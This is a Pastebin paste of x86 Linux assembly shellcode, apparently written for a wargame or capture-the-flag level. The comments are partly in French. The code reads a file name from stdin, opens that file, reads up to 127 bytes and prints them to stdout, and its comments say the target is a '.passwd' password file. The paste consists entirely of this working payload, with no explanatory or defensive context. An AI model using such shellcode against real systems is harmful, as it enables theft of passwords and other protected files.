Advertisement
Guest User

Untitled

a guest
Feb 9th, 2016
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.00 KB | None | 0 0
  1. global _start
  2. _start:
  3. push eax
  4. mov al,0x3 ;Read Syscall
  5. xor ebx,ebx ;read on stdin
  6. mov ecx,esp ;read on stack
  7. push byte 18 ;12 bytes Large for .passwd
  8. pop edx ;Get Size to read
  9. int 0x80
  10.  
  11. ;Deux lignes pas utile si la pile est bien géré
  12. mov [ecx+7],bl ; on écrase le '\n' du printf
  13. mov [ecx+8],ebx ; On ajout un \0 pour terminer la chaine
  14.  
  15. xor eax,eax
  16. mov al,0x5 ;Open Syscall
  17. mov ebx,ecx ;Point on the stack, file name just read
  18. xor ecx,ecx ;0 for read only
  19. xor edx,edx
  20. int 0x80
  21.  
  22. mov ebx, eax ;here ebx contains the filehandle (eax from Open Sycall)
  23. xor eax,eax
  24. mov al,0x3 ;Read Syscall
  25. mov ecx,esp ;read on the stack e beautiful Buffer
  26. push byte 127
  27. pop edx ;127 bytes is large for a password
  28. int 0x80
  29.  
  30. xor ebx,ebx
  31. xor eax,eax
  32. mov al,0x4 ;Syscall Write See the password on the stack
  33. mov bl,0x1 ;Write on stdout , on the consol
  34. ;ecx point on the stack from last syscall ;)
  35. ;edx have the good size from last syscall ;)
  36. int 0x80
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement